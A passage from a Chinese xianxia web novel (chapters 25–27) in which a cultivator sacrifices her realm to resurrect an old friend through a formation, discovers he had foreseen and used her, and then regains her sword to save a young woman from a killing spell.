老龙王只是哼了一口气说:“你觉得呢?” 不是否认,就是承认。 而他皇儿得了这声承认后的脸色愈来愈地漆黑。 最后半是郁闷,半是吐槽道: “父皇,我不懂她。在我们龙族的概念里,宝物是这世界上最重要的事情,修炼是我们活着的意义;可我去了蓬莱之后,我搞不懂人。” “怎么会有人,在坦荡的仙途,和一个死了千年的人之间,选择后者呢?” 三皇儿问:“父皇,如果有一天我死了,龙族会拿九转肉灵芝救我吗?” 那时老龙王没有任何迟疑,摇了摇头。 别说是他有九个儿子,就算只有一个儿子,也是不会拿这等圣物救的。 “嗬。” 三皇儿得了这句话后并没有难过,反而早有预料,忽然得意的笑了。 “父皇,谁说妖不如人聪明的?” 是么?老龙王看着鱼澹的笑,不知道为何有些不是滋味。 他想:可是皇儿,为何你的笑意里,有一分的不甘。 …… 洞穴里风云四起,邹娥皇半蹲在地上,何春生颤颤巍巍地躲在断壁残垣后面。 只见她蹙了蹙眉,在乾坤袖里左掏掏,右掏掏,终于抓住了一个滑溜溜的东西。 肉灵芝。 邹娥皇轻轻朝这肉灵芝吹了口气。 她身侧,何春生见到这颗肉灵芝,心尖一跳。 肉灵芝在修真界并不少见,有一转到九转之分,但是寻常人终其一生看见过最高品阶的,不过也就是四转,五转之上就已经值得一个世家收藏起来以备麒麟子修炼了。 何春生作为何家老祖,掏过圣人金丹的狠人,见过最高的品阶,其实也不过就是七转。 而邹娥皇如今手里攒的这颗远比他当初在陈家见过的还要珍奇,芝冠上有无数的冰晶莹莹,只是单单站在这附近,何春生就觉得自己方才受到刺痛的元婴正在缓慢恢复。 也就是这个时候,他终于确定了之前自己的猜测。 金丹、星盘、肉灵芝。 天雨、死寂、生机。 邹娥皇她,图谋的不过也就是一件事,复活一个死了多年的人。 从来没有人说过,修士竟然也可以有来生。 何春生忽然心里有些不是滋味。 他一出生比何言知要拥有太多,哪怕半路上被这人狠狠甩在脑后,最后也笑到了如今,可是今日,他好像又觉得,自己比起那人还要差一点什么。 这一次又输了。 小小的元婴转来转去,很是急躁,半响后,他才终于为自己的急躁找出了一个发泄口。 他刻薄的一瞪吊翘眼,跳到了邹娥皇肩膀上,阴恻恻地爬在她耳边道:“邹娥皇,你就不怕么?” “何言知陪着周平三上昆仑和蓬莱,在那个年代,把门派收复在天子脚下,坑的昆仑老祖避世不出,这样一个人,不了解的说他圣人也就罢了,你一个和他私交过的人,还真能相信他是什么好人不成?” “我知道你们占星师能够占前程,而推未来。何言知手里既然有星盘,说明他之前也是个占星师如果他是,那么他难道算不出你会千里迢迢来复活他么——” 复活二字一处,雨声又大起,洞穴摇摇欲坠,噗噗的灰尘砸在一人一元婴身上。 何春生最后半句话卡在嘴里,终于还是吐出来了,如同一条毒蛇一样紧紧地缠住邹娥皇:“如果他算出了这一切,却执意要把星盘给你,那你怎么能确定,这不是一场算计呢?” 被他逼问的女修恍若未闻。 只是伸手,万千灵丝疯狂的从完好的左手里迸发冲向开始运转的阵法,醇然浑厚的灵力一震何春生心神,直接把他震出了几丈之外。 元婴费力地从地上爬起。 这个人,他到现在才终于恍然,竟然是大乘! 一个浑身上下七十二条天生脉络都堵塞的修士,要存了多少的灵气于假根之中,才能修练到大乘的地步。 何春生不知,也从没设想过。 他只听见,阵法中央,以身陷阵的那人,仿佛是在回答他,但又好像是在自语。 “我信。” “这世上的可能有那么多,但我赌不起。” “如果何言知是真把我当朋友了呢,万一,他的占星术从没有用来窥测过我我可以不救他,我可以不牺牲,但我赌不起这个万一。” 她只有一柄剑,也只有一颗真心。 一颗历经几千年磨砺,不改其道,仍旧只是蓬莱道义的那八个字。 我心应我,万死不辞。 阵法起,天地变! 何春生眨了眨眼睛,就在这个当口,他却忽然地察觉到了一丝的不对劲。 他修道五千年,除了一手出神入化的鞭子外,其实最拿手的还是阵法。 而邹娥皇如今勾勒的阵法,按照阵法运行逻辑的五行之说来看,除了逆行之外,似乎还有什么不对劲的地方。 正处在阵法中央的邹娥皇或许感觉不到,但是何春生站在外面,却看了个分明。 阵法里,除了天道,除了她,还有第三种能量在运转。 这股能量有别于天地本源,甚至都有别于灵气。 何春生忽然记起来了,在他初学阵法的时候,教他阵法的那个老先生,曾经告诉过他,这方天地,很久之前有人成功飞升过,于是这个世界上始知,修到最后,方可破天成仙。 只是为什么没有记录下来呢? 为什么修真史书上从没有人写过呢? 龙族世代镇守肉灵芝王,而人们记忆中知道的老龙王却只有那么一位,所谓的世代,到底是多久之前呢? 这片天地,究竟有多少年的岁月被淹没、又重启。 何春生头疼欲裂,怎么也想不起那个老先生的音容相貌、来历、后面又说了什么 等等他记起来了,那日老先生说的最后几句话。 因为有了仙,所以才有了阵法。 老先生说:仙人无处不在,他们高高在上。 老先生还说:但是仙人不是善人,在他们眼里,仙人之下,遍地蝼蚁;他们瞧不起这个世界,他们又窥视着这个世界的灵气。 阵法,只是仙人用来窥骗世人和天道的一种手段。 老先生最后说:你我师徒一场,如果有一天,你在阵法里看到了未知的力量,不要怀疑,不要动摇,那是仙人欺骗世人的手段,是他们降临真身的途径,甚至,他们若是等急了,还会借助天道的篓子,重现这世间。 洞穴中响起了脚步声。 何春生抬头去看,眼睛却忽然地瞪大。 柳叶眉,桃花眸,轻巧风流不压那浑身煞气。 怎么会是那个早死的容有衡! 不、不对,这人身上穿的衣服,好眼熟。 上面十四盟盖章的那个散修的散字还在啊喂! 容有衡身上滴滴嗒嗒的都是雨水,额前狭长的碎发垂下,他漫不经心地玩转着手上的短匕。 “嗬。” 现在容有衡终于想明白了。 疑点重重的前世,原来竟是这样。 容有衡轻轻看向阵法中央,掐起一根混迹在灵气之中的透明物体,也就是刚刚何春生忌惮的第三种能量。 这透明的东西被他掐在手中,竟好像有生命一样,在疯狂的扭动。 原来上一世,那装神弄鬼的真神,竟然这么早就出现了么。 所以师妹才会失败,至于那双眼就成了一切的代价。 在何言知和众生面前,她最后选择的还是众生。 容有衡一直堵着的那口气忽然就顺了。 何言知么,其实也不过如此。 他慢慢地踱步走进,嫌弃地拎起挡路的何春生,撑着下巴站在阵法外围。 阵法里面,是邹娥皇。 她抱元守一,心神坚定,双眼微阖,屏蔽了周遭所有。 第25章 多穿一件衣服 在何春生都难免为邹娥皇的痛苦心惊的时候, 处于阵法中心的她,只会比何春生想象的要痛苦百倍。 值得么。 邹娥皇盘腿坐在阵法的燎火纹上,浑身上下犹如被人榨干了再泡水再榨干反反复复都是灵力流失, 她闭着眼,冷汗一滴滴地从额前滑落,本来就已经有些燥味的头发,湿的血和汗一齐粘连在上面, 已经变成了几缕几缕。 狂暴的灵气从万条灵丝中过渡到阵法中央。 鼓鼓的九转皇肉灵芝一点点地变成了干瘪的蘑菇样。 呼啸着,风声雨声。 从大乘期开始跌落,合道后期、合道中期 邹娥皇仍然闭着眼。 只见她鬓角白发生。 眼角出细纹, 眉峰染霜寒。 可仍是心神不动, 仿佛这正在极速跌落境界的人并不是她一样。 容有衡静静地低头,俯视了她半响。 很值得么。 他想自己应该嗤笑一声,或者生气, 或者愤懑, 或者不平但是最后,容有衡只是狼狈地抹了一把脸。 手上有冰冷的水珠。 咸咸的, 像泪。 “嗬。” 男子轻轻地笑了, 冷眉化在春水里,微涩的眼睫有些低垂。 元婴版何春生小小一个,嘭地一声被甩到了地上。 但他无暇顾及这些,只是揉了揉屁股,目瞪口呆地看着那个传闻里死去多年的平月道君, 平静地走入了狂暴的灵阵里。 他们蓬莱的人,怎么都这么喜欢找死? 漂亮的短匕, “铮”地一声从容有衡手中飞出。 和那灵丝飞舞的阵法屏障相抵,呲呲地一厘一厘破开。 在修真界, 一直有一寸长一寸强的说法,然而在这以快为一绝,名扬天下的平月道君身上,七十二般武器,人们常见他用过的竟还是这短匕。 短匕看不出材质,黑色的匕首上坠着圆润的龙珠。 因为短,所以快。 因为锋利,所以致命。 但是在此刻,短匕有了钝角,它瞬息万变,精巧地避开千条万缕的灵丝,而是追逐着场上那不透明如蠕虫一样在缓缓挪动的能量条。 在未来的几十年里,人们给这样的能量条起过一个名字,叫异目。 异目所在处,就是上界之神眼线所至的地方。 容有衡知道自己一点也不想帮邹娥皇救何言知,但他难道一个当师兄的还真能眼睁睁地看着师妹失去了双眸么。 如果可以的话,他甚至和宴霜寒这些人一样,恨不得打折邹娥皇的腿不要让她踏进密州半步。 但哪怕没有邹娥皇,或者说容有衡来密州这一趟,就是奔着何言知的。 何言知不得不救。 这世上多一个圣人,未来面对那群令人作呕的假仙的时候就多了一个盟友。 于是,冷冰冰的匕首无情地将一个个异目贯穿,被洞穿的异目冒出了吱呀的叫声,像一些小类啮齿动物,然而并没有就此消散在半空中,而是冒出了漆黑的烟。 阵法里,邹娥皇仍闭着眼。 在狂暴的灵气冲击的时候,她忽然感到了一股玄妙的能量不,准确来说是两种。 一种位于她的本源里,灵气的冲击释放了本源闭塞的血肉,好像在一瞬间她身上多了一根细细的灵脉,虽然比起那种天生七十二脉全开的天才来说,这一根细细的灵脉微不足道,可对于邹娥皇来说么那可就太让人惊喜了。 这根细窄的脉,好像从她的心脏位置开始起源,直直贯穿于左手。 也就是这个时候,邹娥皇听到了一声剑鸣。 像龙吟,似虎啸。 又仿佛只是万里一鲲声。 但无论如何,是她那沉寂了五千年的本命剑,第一次发出的剑鸣。 在那一瞬间,邹娥皇忘记了浑身跌落的灵气,忘记了即将要复活的何言知,忘记了片片凌迟的痛苦。 只是满心欢喜,又好像踩在云端。 ——啊,是我的剑,竟然动了。 就在这心神恍惚的片刻里,她也终于察觉到了那迟疑的不对劲。 另有一种极其阴寒的感觉,似乎在伴随着这个阵法而脱落。 她眼睫轻颤,就在即将睁眼的片刻。 听见了一声熟悉的咳嗽声。 骨节分明的手轻轻按住她的肩膀,男声清低而沉雅,轻轻对她道: “师妹,别睁眼。” 忽又带了半分的笑意。 那熟悉的声音说:“睁眼后,会看见脏东西的。” 在蓬莱,能叫她师妹的只有一个人。 邹娥皇和她师兄其实关系一直不亲,师兄妹相伴了几千年,但她其实也只见过他匆匆几面,然而就是这几面里,那些回忆也都模糊不清,像是被刻意遗忘了。 是师兄么? 容有衡? 她的师兄不是已经死了小二十年了么。 一股温暖如水的灵气慢慢从按住她的手滑入了她的肺腑之中,滋润了干涸的丹田。 这股灵气,庞大,如水桶。 可又像是锋芒毕露的剑,终于有了剑鞘,所以温和包容。 就在这个时候,阵法中央的肉灵芝慢慢展开,变成了一团黄红夹杂的软皮,然后慢慢地鼓了起来,金丹和星盘都被这软皮像蚌肉吞石子一样慢慢地包了进去。 软皮有了山丘的起伏,慢慢地朝不同方向延伸。 古老的钟音忽然在这片天地响起,阵法之外,何春生忽然感觉脚下的密州在轰隆隆地作响。 硬要他形容的话,这一幕的时间像是在倒放。 数不清的生机,此刻如飞蛾扑火般,闪烁着点点荧光,落入了阵法之中。 人会变,星辰会转,万物都会转移。 可脚下的这片土地,它们沉寂折服在这里,就像是那个不聪明的女修一样,固执地等待一个反哺的机会。 三千年前,圣人曾说:万物有灵。 于是化气成书,气泽苍生。 三千年后,沉默的土地告诉那圣人: 这万物,真的有灵。 须臾,阵法中央终于有了动静。 莲花印记,圣人慈悲。 十指上分明镌着墨字的痕迹,此刻微微一抽动。 邹娥皇察觉到了什么,这一刻,她眼皮一颤,就要睁开。 下一瞬,却被一直按在肩膀上的手轻轻遮住了眼,只听容有衡愠怒道:“说了有脏东西,叫你别睁眼,你这孩子,怎么这么不听话呢!” 唰地一声,阵法中央还在苏醒意识的何言知就被一件长袍长袖的衣服遮住了重点位置。 他耳朵颤颤,恢复意识后听到的第一句话是:“何言知,我师妹还在这里,以前怎么样我不管,你现在能穿一件衣服不?” 那男声略带嫌弃,似乎还有些耳熟的嚣张与恶劣。 何言知:“?” 第26章 何言知算无遗漏,但不懂她 如果再次见到故人, 什么样的相见才算体面。 何言知费力地把裤子系在腰上,啧了一声有些拖地的裤脚,才终于朝着那人望过去。 阵法运转处, 邹娥皇半个时辰前还乌黑亮丽的长发,如今已经随着境界的跌落化神巅峰开始,变成了花白色的枯发,像耗尽养料的木干, 恹恹的垂在她身后。 她老了。 在触及邹娥皇白发垂地的那一瞬,何言知忽然想笑。 可是最后只有不受控制的泪水从何言知眼角划过。 他猜,是因为这个身体太年轻, 所以情不由衷。 左手处物归原主的星盘还隐约有几分的不听使唤, 何言知觉得自己魂魄最后的一点弧度还没有被捋平,关节处一卡一卡的僵硬。 他垂眼审视着这具新躯体。 竟用的是九转皇肉灵芝啊。 魂归来兮,寻常人或许还要反应一下到底发生了什么, 但如今复活的是何言知, 陪着周平打天下的儒将,算无遗漏于他只是谦词。 莲花印记微微发着光, 把这面容衬的无比慈悲, 他低眉凝视间,润泽无双。 当初拿星盘算的时候,何言知想过一千个可能,一万个也许,但唯独没有想过, 最后能救他的生机,竟然应在邹娥皇身上。 视线前方, 女子白发垂地,单膝扑通一声倒在地上, 恰如两人初见。 何言知半响不语,眉弯弯,眼溶溶。 只说了一声:“好久不见。” 然而回应他的并不是邹娥皇,一直拿手挡着邹娥皇眼的容有衡,已经从捂师妹眼变成了捂师妹嘴。 生怕师妹和这老狐狸叙起旧来。 这位清朗绝尘的平月道君,此刻鼻子不是鼻子,眼睛不是眼睛地替他师妹挑剔道:“你是真会挑时候叙旧了,干脆把脑袋别到裤。裆上算了,能不能看看周围!” 容有衡痛心疾首:“周围这么多的异象,你就没发现什么不对劲吗?我和师妹两个人用命才喂出来的大乘期,能不能张点眼力见,那些死东西都快涨起来了,你还只知道来一句‘好久不见’么?” 什么死东西? 几千年前的老古董——何言知这才发现了一些不同寻常的气息。 小指环上转着“静”字轻轻一动,他抬起手,掐住了疯狂抽动的透明灵体。 这种灵体,何言知眯起眼。 有些眼熟。 大约是他在密州死前,追踪周平陨落之地的时候,看见过类似的能量。 而阵法外。 如果现在从何春生的视角来看的话,阵法中央其实已经变得模糊不清了,慢慢地有一团透明的雾气从阵法中跑了出来。 阴寒相当阴寒。 这是什么? 他此刻忘了死而复生的何言知,也忘了诈死的容有衡倒不说经过这一天的冲击,就算过一会他自己死了,感觉也会活过来。 何春生只是在这一刻发现,之前深深藏于自己神识里的那支笔,忽然动了。 笔作为一种法器,存在于修真界的时候,通常情况下,人们只会把它和儒生联系起来,尤其是一个用笔的人还是一个何家的老祖,这种刻板印象只会更严重。 但是何春生不是。 他手上的这支笔,和何渡那种拿竹竿作筏的儒生不同,笔杆冷冰冰的,闪着铜质的光泽,上面砌着五行之石,隐约间有一些制衡的气在运转。 这支笔,是画笔,是阵笔,唯独不是用来写字的。 它和天机子束之高阁的那支判官笔并列,被称作天下无双的帝王须,作为一只笔来说,寂寂无名太久。 久到一开始,何春生得到它的时候,其实并不知道,它就是那个传说中落笔可断一国国运的帝王须。 而给他这支笔的那个人,就是教他阵法的老者。 老者在被何父聘过来教何春生之前,曾问过这个心眼儿长偏的小孩。 “何春生,你天资平庸不善阵法,确定要和老朽学阵法了么?” 何春生说当然——他小小年龄把算盘打的叮当响,刀剑无眼,学来学去,不如学一个阵法,杀人于无形,运筹帷幄于千里。 于是那个老者满意的点了点头,“好!” “那这支笔,你要收好了。” 五千年前的何春生不假思索地答应。 人永远也无法预料到,年少的某一刻于日后的意义。 …邹娥皇拍开容有衡捂在她嘴上的手。 她费力地从地上站起来,感觉关节处咯咯地响,映着地上雾凝成的水波,映照出她的头发已经花白了。 但是此刻,她想的不是这个。 容有衡百无聊赖地掐着游动的异目,心里正冒着小小的酸水,纤长的眉眼有一搭没一搭瞅着邹娥皇,心里很不爽地想: 拍开我的手,难道就是为了和何言知说话么。 谁料下一刻,这花白了头发的师妹慢吞吞地背过面来,那双黑白分明的眼珠子盯着他一动不动。 四目相对,容有衡慢慢红了耳根。 心、心跳的好快。 他听见师妹对他说: “师兄。” 好像一点也不诧异,为何世人口里早死于妖族入侵的平月道君如今活生生地站在这里。 邹娥皇只是半皱着眉,有些难为情地半吞半吐。 容有衡觉得自己心都要化了,得意洋洋地撇了一眼被遗忘的何言知,百转千回地“嗯”了一声。 “怎么了?”他压低嗓子。 然后就听见师妹说:“你的手,碰我嘴之前干净么?” 嫌弃的意思,溢于言表。 何言知:噗。 容有衡一瞬间激情与红晕并褪去,只剩下了僵住的微笑。 忽然阵法中传来了一阵轰轰的声音,阵法开始高速运转,先前那些繁琐的花纹此刻都变成了飞速生长的藤蔓,透明阴寒的异目开始膨胀。 接着毫无预兆,千丝万条直直绕过何言知,冲着邹娥皇而来。 她脚腕一转,然而刚刚灵力透支境界跌落,已经不足以支撑她躲过四面八方爆起的透明灵体。 这是什么? 阵法里为什么会有这个! 但来不及心乱,邹娥皇横空一跳,仅剩的灵丝变换形成灵球骤然弹了出去,就在这个当头,她体内忽然有另一种自行运转的暖流。 是她刚刚,生出的灵脉。 只有一条,然而从心脏贯穿手臂。 在修真界里,这样位置的灵脉还有一个名字,叫剑脉。 从心到手,臂之所指,心之所向。 是为剑脉。 这一次,邹娥皇无比清晰地感受到,背在背后的剑,动了。 于是她伸手,拔了出来。 身后,容有衡眸光一闪,手已经不由自主地先揽过了邹娥皇的腰。 就在那种阴寒的灵体即将与剑相触的刹那,阵法外忽然传来了一阵刺耳的尖叫。 那是何春生小小的元婴,忽然被一支笔用笔毫像抹墨一样吸干了,从圆滚滚的润泽灵体,到变成了一滩皮,最后慢慢弥散于空中。 除了骤然惊起那声尖叫,再也没有什么旁的声音。 谁也不知道,何春生在死前的一刹那间,看到了什么。 下一瞬,那支笔飞速地向洞穴外冲出去。 所有暴涨的藤蔓与异目也在刹那间察觉到了什么,似乎是极为忌惮地一瞬消失于半空中。 容有衡松开了扶住邹娥皇腰间的手,他面上红晕还在,眉眼艳色还没收起,就冷笑着看着那支飞出去的笔,鼻尖轻嗤。 这可真是风声鹤唳。 不过也是好消息,现在的神主,在下界的影响力竟然才这么弱么 容有衡一句也未留下,就消失在原地。 半步远,何言知面不改色。 他抚了抚袖子,刚要开口说什么,就听见了邹娥皇叫住他。 邹娥皇低眉,仍是温和的神色。 但让何言知觉得陌生。 “何言知我是挺笨的,也是挺容易被骗的。” “但我不是傻子。” “你醒了后,我的* 剑就松动了。” 她可以认她拔不出剑。 没关系的。 修真界多庸才,她只是其中一个。 没关系的。 但她不能认,是因为别人的算计才拔不出。 邹娥皇摸了摸心脏的位置,道:“而且,在你星盘消失于我体内的刹那,我感觉到了身体本源的剑脉。” 邹娥皇平静且诚恳地问他:“我只想问你一句话,当初你是否,用星盘算出过现在这一切。” 你是否,本就是在借着那一场死脱离周平对你的牵制。 刚刚那些阴寒的灵气,和你到底有没有关系。 你把我当朋友托付,还是把我当棋子,做盘 何言知知道,隐瞒远比承认容易。 但他纵使他是个没了心,从小靠着算计活到现在的人,此刻竟也只能狼狈地承认。 “是,我算过的。” 他自己不该为之动容,他知道最好的答案是什么。 毕竟他是何言知,所问无言不知天下最懂人心的那个。 但当他醒来看到邹娥皇口吐鲜血白发苍苍,跪在他身前的那一刻,何言知那敢为天下先的牺牲精神和极度权衡的冷漠,终于有了冰山破裂的一角。 明明他当初算计的就是这样的结果,但是这一刻,少女变老妪,捧着一颗鲜血淋漓的真心,为这虚假的朋友二字,为他奉上回魂之路的时候,何言知那被周平算记过的空心,好像又长出了柔软的心跳。 他们,是朋友。 朋友,和君臣不一样的朋友。 何言知这时候才不得不承认,当初他为之赌上前程的君主,从来没有把他当做朋友;或许有,但或许是在把酒言欢共临天下之前,在他们一个是落魄书生,一个是同村放牛娃的时候。 而邹娥皇何言知闭眼却是想—— 她真好骗呐。 “邹娥皇,”何言知最后只是轻轻地叫了一声她的名字。 相遇的时候,他们两个谁都不曾学过占星术。 因此谁都没料到,那场草草收场的比斗会变成不打不相识,就像是现在,会从朋友走向陌路。 “不管你信不信,”他顿了顿。 一向巧舌如簧,在儒生里以善辩出了名的何言知,此刻说的难得有几分的忐忑,就好像觉得这些话他也不该说出口一样。 “我把星盘给你的时候,我心里想的是…” ——就算你不救我,也无所谓的。 这是步步算计的何言知,唯一一次,算计过,但不求结果的投入。 他最后还是顿住了,此刻说什么或许都多余。 做了就是做了。 他静静平视着前方花白了头发的邹娥皇。 何言知这一生里,少有在等别人转身。 在他的人生信条里,等待是件很愚蠢的事。 之前无论是把他抚养大的老乞丐,还是早死了的皇帝,他从来都只是低着头做自己觉得该做的事情;唯有此刻,他站在这里,只是执拗地等一个转身。 也只有此时,算无遗漏,事事顺意的何言知没有等到。 “不了。” 回答他的姑娘没有任何迟疑。 邹娥皇语气轻松,背后背着那不会出鞘的厚布剑,抬首走出了昏黑的洞穴。 她看见,前面是初晨刚起的金阳。 金光伴着霞云,刺透密布云海,万丈光芒平地起。 就连她身上银白色的头发似乎也被照的暖融融的。 “不管你要说什么,为了什么,何言知。” “都不了。” 她已经做完了她想做的事情。 其实说到底,这几千年的颠沛流离,一开始只是出于一个念头: 万一、万一他把我当做朋友,从来没有拿星盘算过我呢? 万一,一万。 邹娥皇其实早就做好了准备接受剩下的九千九百九十九种选择了。 但她愿意为了那么一个万分之一的可能,飞蛾扑火,在所不惜。 何言知算无遗漏,却不懂她。 这一次,她终于有了能拔出来的剑,却没有肝胆相照的挚友。 …… 半个避魔圈的空挡里,明珠仰着巴掌大的脸,和何渡无所畏惧地对视。抱着何渡腿的何富贵则在地上狠命拖着他舅舅的大腿,三个人形成了一个诡异的僵持状态。 直到忽然溯世镜发出砰的一声响,然后以极快的速度在半空中炸开。 法宝一般出现这种情况,只有一个可能,那代表了宝物的主人出了什么意外。 圈内那柔顺的明珠笑了。 而何渡脸色一变。 何春生作为他们何家有且仅有的合道老祖,其重要性在这近千年里都无需多言,如今溯世镜炸开,显然是说明了对方出了什么意外。 他闭上眼。 心里念头一闪:本来要借蓬莱的手除掉的老祖,在这个关口上出了意外可真是有些不妙。 然后又过了片刻,何渡察觉到了密州一种不同寻常的气息。 何家作为执掌密州令的世家,他们的气运与这一方土地相连,因此,在密州这片土地上,何家人的血脉天生就比旁的人要更占优势些。 但是此刻 密州那充裕的灵气正在飞速的朝着一个地方消失,何渡眉眼一扫,发现这片院子里那颗常年翠绿浓郁的榕树,这个时候已经变得枯黄。 是生机在消失。 是这片土地在变的干涸。 发生什么事了? 而紧跟着,避魔圈里的明珠,忽然心也跟着一紧的,她从地上捏起一团碎土,土块变成了细沙噗噗从她指缝间流下。 避魔圈,这个方才微微闪着光的土圈,此刻却变得暗淡了。 邹仙长出事了。 而另一边么,眉心紧皱的何渡自然也察觉到了避魔圈的衰弱;老祖出事、避魔圈紧跟着黯淡、密州的灵气极速衰弱,这些接二连三的事情串在一起,对他来说已经不能再算是巧合—— 在他不知道的地方,或许有一件大事已经悄然发生。 不过,何渡想:所有的未知,其实都是机会。 比如此时,他僵在半空中的手,终于有了再度落笔的可能。 一个“杀”字,需要六笔,如今他终于可以写完第三笔了。 不祥的墨光缓缓在他的笔尖浮动,发着微光的避魔圈在这一笔下开始慢慢地松动,阵法里的明珠忽然觉得呼吸有些困难。 她扼住自己的喉脖。 会死么。 明珠忽然觉得舌头被什么东西在用力地向外扯着,强烈的干呕感席卷了她全身,好像半空中多了好几只手在一起撕扯着她的心肝脾肺。 在灭顶的痛感里,她想起的第一个念头。 不是后悔报恩,而是—— 明杏。 明杏一个人,要怎么走过这漫长的后生? …万般种念头,竟不及这一个名字叫明珠清醒,她忍着心口翻涌的恶心感,忍着视线的天旋地转。 在那短短的片刻,明珠眼前忽然浮现了自己的半生。 很久之前,明母曾摸着明珠的脸蛋说,你马上就要有一个妹妹或弟弟了。 大约小孩子都希望这天下父母给自己的爱最好是独一无二的,所以明珠一开始听了这句话不是很开心。 但她毕竟从小就早熟懂事。 所以她的不开心,也仅仅只持续了两天,在明阿公新收的小妾挺着大肚子来明母面前耀武扬威的时候,明珠一改之前的不情不愿,由衷地和菩萨老天祈祷,希望母亲的肚子里,是一个弟弟。 有了弟弟,她的母亲不必被踩高捧低的下人使眼色,她的母亲不必在冬日拿嫁妆补贴煤炭。 可是天不遂人愿。 明母给明珠的,是一个妹妹。 妹妹那么小,小脸皱巴巴的像猴子。 明珠见了的第一眼,心里难得想的不是刚刚甩脸色看了性别就走人的冉阿公,也不是躺在床上脸色苍白的明母。 她想的是,这个妹妹,脸色涨的跟个杏一样。 紧跟着脑海里迸出的第二个念头是,半年前三姨娘生下的那个小弟弟,出生的时候也是这样的脸色,没两天就病走了。 在明家这座院子里,不止锁住了无数女人的一生,也锁住了无数还没来得及长大的孩子。 小明珠冷漠的看着妹妹想,死了也好。 就在这个时候,襁褓中的明杏忽然爆发出了一阵嘹亮的哭声。 这哭声冲散了明母脸上的愁云,这哭声让明珠忍不住低头戳了戳明杏的腮帮,疑心这小婴孩其实是水做的。 软的,热的。 小姐姐的心怦怦跳,刚刚的冷漠被抛于脑后。 明母低下头,刚刚生完产的她脸色蜡黄,可是仍有为人母亲才有的动人韵味,她眉眼弯着,全然不在意扫袖离去的冉阿公,而是对大女儿说:“明珠,给你妹妹起个名字吧。” 明珠说:“娘亲,杏,叫她明杏吧。” 明母问:“是幸运的幸吗?” 明珠说:“是杏子的杏。” 命运的齿轮从这里开始转动,原来所有的寓意一开始都藏于名字之中。 明珠蒙尘,明杏不幸。 刚刚步入修真界,对仙途还无限憧憬,要挣扎着从阿姊身后长出羽翼的明杏小姑娘,并不知道,她这一生最大的幸运,来源于她那个决定留在何城的阿姊。 她的阿姊。 明家最负才华的姑娘,向往仙途的姑娘。 名叫明珠,但是愿意为她敛去所有锋芒。 甘愿做块垫脚的基石。 …… 何渡的杀字,终于到了最后一笔。 少女温热的血渐到他脸上的时候,他忽然想起了死了很久的何雪梅。 他不知道之前自己为什么要拦下老祖的那一指,所有的理由都是为了之前的不理智找补。 或许,在那一个刹那,他拼着重伤也要救下一块冷冰冰的木牌的刹那—— 他也有些想念他那个天真的妹妹了。 所以、什么是亲情呢? 是谢家三绝,只剩下了一个带着旧傩面的邪修谢霖;还是何雪梅到死都不知道,害了她的并不是她的哥哥。 又或者,只是明珠蒙尘、明杏不幸呢。 何渡遮住眼里复杂的情绪,杀心一起,笔尖一转,再无犹豫 。 耳边响彻着何富贵上气不接下气的哭嚎声,这声音让何渡有些心烦意乱,于是这个素来小心机敏的何家家主,心浮气躁间,忽略了一阵脚步声。 笔下,那一撇带着言灵与寂灭的杀字即将缓缓收尾。 拖着舅舅的大腿,把泪水流干,素日里最要体面这两个字的何富贵,在这一刻把泪水流出了血泪,也未能挽回。 他在那一刻忽然痛恨起了自己一直以来的得过且过。 明珠会死么? 他喜欢了这么久的姑娘,哪怕被骗了也想娶的姑娘,在她死的时候,他竟然只能窝囊地跪着求舅舅。 明珠、明珠。 何富贵嚎啕,喜服在泥里滚了一圈,滑稽异常。 下一秒,零碎的枯叶在半空停滞。 剑气凭空起。 带着天地法则的杀字硬生生地被这飘至的剑气抹掉。 地上,流着血泪的何富贵顿住了哭声,提笔的何渡噗地一下子吐出了一口血。 以为必死无疑的明珠怔怔抬起头,她视线还有些模糊,费了好大的力气才看见,有一人缓缓地走了进来。 那人玄衣道袍,白发垂地,面容比几个时辰前,已经凭空多了些老意。 可是明珠的怔神,却不是因为这个。 她看见,仙长一直背在身后的厚布剑,解封了。 逆着光,邹娥皇慢吞吞地伸手,抽出了身后的剑。 她对明珠叹气。 “抱歉姑娘,我来迟了,害你受苦。” 第27章 用最轻的云,最无形的风,铸成了一把重剑 一柄剑, 要经过选材、锻造、淬火、研磨、附魂五个过程。 然而在修真界,一柄本命剑的诞生,却又不止这五个过程。 通常情况下, 它需要剑者用剑心去淬火,剑者以剑骨来研磨。 于是当剑者拿起剑的时候,剑者就该是沉默的,剑却应是喧嚣的—— 剑心也好、剑骨也罢, 都在替剑者说话。 一个剑修是怎么样的人,全在这一柄剑里。 所以通常情况下,打造一把本命剑, 要花上好多好多年的光阴;而用出一把本命剑, 只需要瞬息上手。 邹娥皇,则正好相反。 她的本命剑,从选材到铸成的那一刻, 其实不过也就花了三日, 是蓬莱道祖,采了天边的落日火燎云, 借了快意冲九霄的东风, 用不灭神火,细细锻造。 交到她手上的时候,蓬莱道祖告诉她: “你的本命剑,云也好,风也罢, 都是这世上至清至情之物,所以成剑极快, 不似旁人;而你的剑心,却只是少年意气, 你的剑骨,却只是普通的凡骨要慢慢淬火、细细研磨,才能完成这把剑。” 蓬莱道祖双指一转,宽大的剑就“嘡”地飞到了邹娥皇手上。 那年还年轻的姑娘第一次摸到这把剑的时候,差点哐当一声跌到地上,她心里的第一个反应是—— 好、好重! 用的是这世上最轻的云,最无形的风,最后铸成的剑,却是一把笨拙古朴的厚剑,剑身上,没什么繁杂的花纹,除了宽大厚实,同凡间铁铺里那些笨拙的剑并没有什么两样 。 可是邹娥皇又实在欢喜。 哪怕她的剑宽重到她一开始只有双手紧紧握在一起才能挥动,哪怕她的剑并不如天机子、剑皇一流精巧,哪怕可是她确实是已经成为了一个剑修。 那时候她没有想过,这至清至情的剑,有一天,会对它的主人失望。 那个时候她没有想过,在不久后的某一天,她失去了少年意气的剑心,也没了那平凡至极的剑骨。 五千年啊 她终于再度拔出了这柄剑,却失了剑心,折了剑骨。 只有一条微弱的灵脉,凭空从心尖长出,直通双臂。 是剑脉。 这样陌生的感觉,让邹娥皇忽然觉得双脚踩在云端上,每一步都好像在做梦。 是她么,如今这拔出来剑的人,是她么 她竟有一天,也能再度握住她的剑。 抛开了少年意气的她,竟也可以在浮世沉沦几千年里,再度握住她的剑吗? 方丈大小的后院里,平地忽起风云。 细碎的榕树叶慢慢在这狂风里席卷,何渡的本命灵笔开始寸寸裂开,剑气激荡下他哇地吐出了口血。 何渡惊惧异常地回头,却只看见门槛上,邹娥皇踏步了进来。 仔细看,灵气是从她心口的位置涌出,慢慢匀渡到她的左手上。 剑脉、怎么会是剑脉!? 何渡心里蓦然有一种心惊。 